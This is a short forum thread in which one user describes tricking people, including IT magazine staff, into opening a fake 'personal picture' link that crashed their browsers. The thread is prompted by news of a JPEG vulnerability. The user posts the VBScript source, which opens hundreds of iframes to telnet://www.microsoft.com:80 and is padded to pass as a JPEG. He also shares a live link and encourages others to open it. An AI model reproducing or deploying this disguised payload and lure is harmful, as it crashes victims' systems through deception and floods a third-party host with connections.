JPEG exploit

[ovi]

The big news appears to be the anticipation of a viral exploit of the JPEG vulnerability that Microsoft patched earlier this month.

You can read the full story here:
newsmakers.co.uk/modules.php?op=modload&name=News&file=article&sid=971&mode=thread&order=0&thold=0

 

[novocaine]

omg. they got to the good old JPEG format.. god damn it.. where will it stop??

hehe.. i had this sick pleasure of watching people look at their IE window crashing in flames along with a few hundred FTP connections to the microsoft.com site hehe. this is the trick: i had this "image" on a remote server and i used to send people the url.. stating that they would find my personal picture there, the curious and the dumb.. clicked on that link.. and their IE Browsers would crash & burn. I managed to trick some pretty smart people (from romanian IT magazines) to use that link.. and crashed their servers.. it was so fun... but in a way harmless comparing to the stuff crackers do now..

i'll search for that image and post the source code. it's something very simple written in JS and it works for crying out loud :d it sure works

 

[ovi]

He he he...bad boy...i am curious about that.
:armada37:

Ovi

 

[novocaine]

http://www.h7ck.home.ro/novocaine.jpg

here it is.. copy & paste the link in your IE window.. if you want it to work


but...

DO NOT USE THIS UNDER INTERNET EXPLORER


the source code

<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>

it's repeated a few hundred times.. so the size of the file resembles a jpeg[/code]

 

[crowebird]

so what exactly happens?? I want to find out, but I dont want my comp to get messed up, lol.

 

[ovi]

I pray God that no IE user will click that link.

Ovi

 

[crowebird]

lol, its tempting to click, but seeing that it will mess up IE, I cant, lol.

 

[crowebird]

novocaine maybe you should remove the link

 

[novocaine]

crowebird... you can click it.. it will cause no permanent damage to your system.. just be sure that you close everything.. and you are ready for a reboot

copy&paste the link in your IE browser window to see if what it does.. if you click the link here you will get an error message